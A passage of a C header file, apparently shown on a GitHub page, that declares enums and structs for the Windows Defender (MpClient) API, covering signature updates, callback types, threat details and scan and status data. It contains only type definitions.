	MPSIGUPDATE_TYPE_HTTP,
	MPSIGUPDATE_TYPE_HTTP_SRV,
	MPSIGUPDATE_TYPE_UNC,
	MPSIGUPDATE_TYPE_UNMANAGED,
	MPSIGUPDATE_TYPE_MANAGED_PLATFORM,
	MPSIGUPDATE_TYPE_UNMANAGED_PLATFORM
} MPSIGUPDATE_TYPE, * PMPSIGUPDATE_TYPE;


typedef enum tagMP_UPDATE_STAGE {
	MP_STAGE_UNKNOWN,
	MP_SEARCH_UPDATE,
	MP_DOWNLOAD_UPDATE,
	MP_INSTALL_UPDATE
} MP_UPDATE_STAGE, * PMP_UPDATE_STAGE;

typedef enum tagMP_SIGNATURE_TYPE {
	MP_SIGNATURE_ANTIMALWARE = 0,
	MP_SIGNATURE_ANTIVIRUS = 1,
	MP_SIGNATURE_ANTISPYWARE = 2,
	MP_SIGNATURE_NIS = 3,
	MP_SIGNATURE_TYPES_MAXVALUE = 3
} MP_SIGNATURE_TYPE, * PMP_SIGNATURE_TYPE;

typedef enum tagMP_FASTPATH_TYPE {
	MP_FASTPATH_UNKNOWN = 0,
	MP_FASTPATH_VDM = 1,
	MP_FASTPATH_DISABLED = 2
} MP_FASTPATH_TYPE, * PMP_FASTPATH_TYPE;


typedef enum tagMP_PERSISTENCE_LIMIT_TYPE {
	MP_PERSISTENCE_UNKNOWN = 0,
	MP_PERSISTENCE_NO_LIMIT = 1,
	MP_PERSISTENCE_DURATION = 2,
	MP_PERSISTENCE_VDM_VERSION = 3,
	MP_PERSISTENCE_TIMESTAMP = 4,
	MP_PERSISTENCE_FORCED = 5
} MP_PERSISTENCE_LIMIT_TYPE, * PMP_PERSISTENCE_LIMIT_TYPE;

typedef enum tagMP_REMOVAL_REASON {
	MP_REMOVAL_UNKNOWN = 0,
	MP_REMOVAL_MANUAL = 1,
	MP_REMOVAL_AUTOMATIC = 2
} MP_REMOVAL_REASON, * PMP_REMOVAL_REASON;

typedef enum tagMPCALLBACK_TYPE {
	MPCALLBACK_UNKNOWN = 0,
	MPCALLBACK_STATUS = 1,
	MPCALLBACK_THREAT = 2,
	MPCALLBACK_SCAN = 3,
	MPCALLBACK_CLEAN = 4,
	MPCALLBACK_PRECHECK = 5,
	MPCALLBACK_SIGUPDATE = 6,
	MPCALLBACK_SAMPLE = 7,
	MPCALLBACK_RESERVED = 8,
	MPCALLBACK_CONFIGURATION_NOTIFICATION = 9,
	MPCALLBACK_FASTPATH = 10,
	MPCALLBACK_PRODUCT_EXPIRATION = 11,
	MPCALLBACK_NIS_PRIVATE = 12,
	MPCALLBACK_HEALTH = 13,
	MPCALLBACK_ENDOFLIFE = 14,
	MPCALLBACK_MALWARETOAST = 15,
	MPCALLBACK_MAXVALUE = 15
} MPCALLBACK_TYPE, * PMPCALLBACK_TYPE;



typedef struct tagMPTHREAT_INFOEX_BEHAVIOR {
	ULARGE_INTEGER         SignatureID;
	ULONGLONG              EngineVersion;
	ULONGLONG              ASDeltaSignatureVersion;
	ULONGLONG              AVDeltaSignatureVersion;
	MP_HASH_TYPE           HashType;
	DWORD                  FidelityValue;
	MP_MIDL_STRING         HashValue;
	MP_MIDL_STRING         TargetFileName;
	MP_MIDL_STRING         TargetFileHash;
} MPTHREAT_INFOEX_BEHAVIOR, * PMPTHREAT_INFOEX_BEHAVIOR;

typedef struct tagMPTHREAT_INFOEX_NIS {
	MP_MIDL_STRING        SourceIP;
	MP_MIDL_STRING        DestinationIP;
	DWORD                 dwSourceport;
	DWORD                 dwDestinationport;
	MP_MIDL_STRING        Protocol;
	MP_MIDL_STRING        Link;
} MPTHREAT_INFOEX_NIS, * PMPTHREAT_INFOEX_NIS;

typedef struct tagMPSTATUS_INFO {
	DWORD               ProductStatus;
	MPSCAN_RESULT       LastQuickScan;
	MPSCAN_RESULT       LastFullScan;
	MPTHREAT_STATS      ThreatStats;
	MPTHREAT_STATS_DATA ThreatState[MP_THREAT_STAT_MAX_VALUE + 1];
	MPCOMPONENT_STATUS  Component[MPCOMPONENT_MAXVALUE + 1];
	ULARGE_INTEGER      ProductExpirationTime;
} MPSTATUS_INFO, * PMPSTATUS_INFO;

typedef struct tagMPSTATUS_DATAEX_UNUSED {
	DWORD dwNone;
} MPSTATUS_DATAEX_UNUSED, * PMPSTATUS_DATAEX_UNUSED;

typedef struct tagMPSTATUS_DATA {
	MPCOMPONENT_ID ComponentID;
	BOOL           fEnable;
	union {
		PMPSTATUS_DATAEX_UNUSED p1;
		PMPSTATUS_DATAEX_UNUSED p2;
		PMPSTATUS_DATAEX_UNUSED p3;
		PMPSTATUS_DATAEX_UNUSED p4;
		PMPSTATUS_DATAEX_UNUSED p5;
		PMPSTATUS_DATAEX_UNUSED p6;
		PMPSTATUS_DATAEX_UNUSED p7;
		PMPSTATUS_DATAEX_UNUSED p8;
		PMPSTATUS_DATAEX_UNUSED p9;
		PMPSTATUS_DATAEX_UNUSED pa;
		PMPSTATUS_DATAEX_UNUSED pb;
	} ComponentStatus;
} MPSTATUS_DATA, * PMPSTATUS_DATA;

typedef struct tagMPRESOURCE_INFO {
	MP_MIDL_STRING        Scheme;
	MP_MIDL_STRING        Path;
	MPRESOURCE_CLASS      Class;
} MPRESOURCE_INFO, * PMPRESOURCE_INFO;

typedef struct tagMPSCAN_DATA {
	MPSCAN_TYPE      ScanType;
	PMPRESOURCE_INFO ResourceInfo;
	MPRESOURCE_STATS ResourceStats;
	MPTHREAT_STATS   ThreatStats;
Showing 500 of 1411 lines View full file on GitHub →